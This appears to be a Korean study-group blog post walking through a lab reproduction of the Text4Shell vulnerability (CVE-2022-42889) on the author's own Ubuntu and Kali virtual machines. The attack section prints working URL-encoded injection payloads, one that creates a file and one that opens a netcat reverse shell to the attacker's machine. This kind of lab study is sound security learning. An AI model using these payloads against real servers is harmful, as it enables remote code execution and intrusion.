본격적으로 Text4shell 취약점을 알아보기 위해서 실제 취약한 환경을 구성하고, 공격을 실행해 보았다.
아래 사이트를 참고하여 환경을 구축하고 공격을 시행하였다.
https://infosecwriteups.com/text4shell-poc-cve-2022-42889-f6e9df41b3b7
1. 공격자 서버와 피해자 서버 구축
-> 환경은 다음과 같다.
우분투(피해자) 버전 22.04
→ virtualbox에 깔려있는 가상머신을 이용해 환경을 구성해 보았음
IP는 임의적으로 할당해주었다. 내부연결 가능하도록 (같은 대역의 네트워크) 설정하였음
IP : 192.168.41.3
칼리리눅스는 (공격자) 아래와 같은 버전을 사용해서 환경을 구성해보았다. 2023-2-23에 release 된 버전을 사용해본다.
IP: 192. 168. 41.2
2. 취약한 환경 구성을 위한 도구 설치 (우분투에만 설치해주면 된다.)
우선, 우분투에서 sudo apt update && sudo apt install openjdk-11-jdk 다음과 같은 명령어를 입력하여 JDK (Java Development Kit)를 설치해준다.
다음으로는 docker를 설치해준다.
참고한 페이지의 자료에서는 docker 구성이 이미 설치되어 있어서 which docker 명령어를 이용해서 어디에 깔려있는지 확인해줬다.
본인은 없어서 아래와 같은 명령어를 입력하여 설치해준다.
sudo apt install docker.io containerd runc
그 다음으로는, Install Maven in /opt 을 입력해 준다.
다음으로는 아래와 같은 명령어를 실행해준다.
M2_HOME='/opt/apache-maven-3.6.3'
PATH="$M2_HOME/bin:$PATH"
export PATH
다음으로는, 아래와 같은 명령어를 실행한다. (git에서 취약점 관련 파일들을 받아오는 듯)
cd /tmp
git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker.git
cd /tmp/cve-2022-42889-text4shell-docker/
mvn clean install
다음으로는 아래와 같은 명령어를 실행한다.
docker build --tag=text4shell .
이 과정에서 아래 사진 같은 오류가 뜬다면
다음과 같은 명령어를 입력해주고 다시 실행해주면 해결 가능하다.
sudo usermod -a -G docker $USER
본격적으로 8080번 포트를 열어서 docker 를 실행할 수 있다.
아래와 같은 명령어를 입력하여 실행해준다.
docker run -p 80:8080 text4shell
이제 로컬 호스트에서 서버를 열어볼 것이다. 파이어폭스를 구동시키고 주소를 입력한다.
아래와 같은 주소를 우분투의 파이어폭스에서 실행시키면
http://localhost/text4shell/attack?search=blablabla
아래와 같은 결과창을 확인 할 수 있다.
3.공격
다음으로 넘어가서 공격자 서버에서도 실행을 시켜보자.
명령어는 바로 위에서 입력했던 주소에서 localhost 부분만 피해자가 될 서버의 IP주소로 바꾸어 들어가면 된다.
글쓴의 설정 환경에서는 다음과 같다.
http://192.168.41.3/text4shell/attack?search=blablabla
공격자의 서버에서도 접속 가능한 것을 확인 하였다.
→Now attack the remote web server by passing a string “${prefix:name}”.
명령어는 다음과 같다. (실제 구축 환경에 따라 IP 주소는 바꿔야 한다.)
-> http://192.168.41.3/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D
공격이 잘 시행되면 다음과 같은 화면을 확인 할 수 있다.
다시 우분투로 돌아가서 서버가 구동되고 있는 상태로 터미널을 하나 더 열어준 후에 아래와 같은 명령어를 입력한다.
docker container ls
14b600ef18c2 와 같은 ID가 하나더 생성된것을 확인 할 수 있다.
아까 확인하였던 ID를 넣어서 다음과 같은 명령어를 입력
docker exec -it 14b600ef18c2 bash
아래와 같은 실행을 확인 하고 공격자 서버로 돌아간다.
공격자 PC에서 netcat 을 연다.
페이로드는 ${script:javascript:java.lang.Runtime.getRuntime().exec('nc 192.168.B 443 -e /bin/bash')}이며, URL에 다음과 같이 작성한다.
http://피해서버 IP/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nc%20 공격서버IP %20443%20-e%20%2Fbin%2Fbash%27%29%7D
공격자의 서버로 돌아와 리스너를 확인하면 대상 PC와 연결되었다는 말이 뜬다.
위 사진과 같이 연결된 상태에서 hostname이나 id를 알아낼 수 있는 것을 확인 하였다.
다음 시간에는 본격적으로, 취약점의 발생 조건에 대해서 분석할 예정이다.
'4-4. 2023-1 심화 스터디 > 오픈된 환경에서의 RCE(원격코드 실행) 취약점 분석 및 공격 시나리오' 카테고리의 다른 글
[2023.05.20] Text4shell 최종 정리 및 보고서 작성 논의 (0) | 2023.05.26 |
---|---|
[2023.05.06] Text4Shell 취약점 분석 (0) | 2023.05.12 |
[2023.04.08] Text4Shell 취약점 발생 조건 분석 (0) | 2023.04.14 |